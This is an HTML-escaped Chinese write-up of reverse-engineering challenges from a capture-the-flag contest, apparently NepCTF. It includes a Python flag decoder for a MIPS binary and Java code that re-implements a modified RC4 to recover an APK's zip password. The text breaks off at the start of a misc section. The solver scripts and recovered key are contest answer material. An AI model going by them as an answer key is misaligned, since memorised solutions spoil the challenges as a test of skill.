&lt;h1 id=&quot;re-easy-mips&quot;&gt;[re] easy_mips&lt;&#x2F;h1&gt;
&lt;p&gt;逻辑非常简单，在先对输入的三个特定位置异或，然后逐位减取一个数。用&lt;code&gt;qemu&lt;&#x2F;code&gt;跑一下就可以得到异或的内容了。&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;easymips.png&quot; alt=&quot;easymips&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;3_isjA0UeQZcNa&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;Vf&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;c[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x7a
&lt;&#x2F;span&gt;&lt;span&gt;c[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x24
&lt;&#x2F;span&gt;&lt;span&gt;c[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x51
&lt;&#x2F;span&gt;&lt;span&gt;v2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;c:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;v2),&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;end&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    v2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;re-password&quot;&gt;[re] password&lt;&#x2F;h1&gt;
&lt;p&gt;apk逆向，没有加壳。先通过JNI判断key的正确性，然后通过一个改版的RC4得到密码，解压&lt;code&gt;assets&#x2F;flag.zip&lt;&#x2F;code&gt;即可。JNI中为简单的base64加密，改版的RC4将java代码复制一遍，将再次加密即可。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;password1.png&quot; alt=&quot;password1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;b64表为&lt;code&gt;a-z0-9+&#x2F;A-Z&lt;&#x2F;code&gt;，可以得到key:&lt;code&gt;th1s_1s_k3y!!!!!&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;Snipaste_2021-03-22_09-11-25.png&quot; alt=&quot;Snipaste_2021-03-22_09-11-25&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后通过&lt;code&gt;java&lt;&#x2F;code&gt;解密：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;color:#ffc66d;&quot;&gt;Exp &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public static &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;en1&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[] &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;iArr&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[]&lt;&#x2F;span&gt;&lt;span&gt; bArr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= new &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[]&lt;&#x2F;span&gt;&lt;span&gt; bytes &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; str.getBytes();
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;; i2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;            iArr[i2] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;256 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; i2;
&lt;&#x2F;span&gt;&lt;span&gt;            bArr[i2] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; bytes[i2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt; i];
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i4 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i4 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;; i4&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;            i3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;((iArr[i4] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; i3) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; bArr[i4]) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;% &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i5 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; iArr[i4];
&lt;&#x2F;span&gt;&lt;span&gt;            iArr[i4] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; iArr[i3];
&lt;&#x2F;span&gt;&lt;span&gt;            iArr[i3] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; i5;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public static &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;en2&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[] &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;iArr&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[] &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;bArr&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i4 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i4 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; i; i4&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;            i2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;(i2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;% &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;            i3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;((iArr[i2] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;255&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; i3) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;% &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i5 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; iArr[i2];
&lt;&#x2F;span&gt;&lt;span&gt;            iArr[i2] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; iArr[i3];
&lt;&#x2F;span&gt;&lt;span&gt;            iArr[i3] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; i5;
&lt;&#x2F;span&gt;&lt;span&gt;            bArr[i4] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;) (bArr[i4] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt; iArr[((iArr[i2] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;255&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;(iArr[i3] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;255&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;% &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;]);
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public static &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[] &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;args&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span&gt; str&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;th1s_1s_k3y!!!!!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[]&lt;&#x2F;span&gt;&lt;span&gt; iArr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= new &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[]&lt;&#x2F;span&gt;&lt;span&gt; iArr2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;{(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;139&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;210&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;217&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;93&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;149&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;255&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;126&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;95&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;41&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;86&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;185&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;239&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;236&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;139&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;208&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;69&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;span&gt;        en1(iArr, str, str.length());
&lt;&#x2F;span&gt;&lt;span&gt;        en2(iArr, iArr2, iArr2.length);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;17&lt;&#x2F;span&gt;&lt;span&gt;; i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;System&lt;&#x2F;span&gt;&lt;span&gt;.out.print((&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;)iArr2[i]);
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;misc-qian-dao&quot;&gt;[misc] 签到&lt;&#x2F;h1&gt;
&lt;p&gt;二进制输出即可&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 列表太长了，就不放出来了
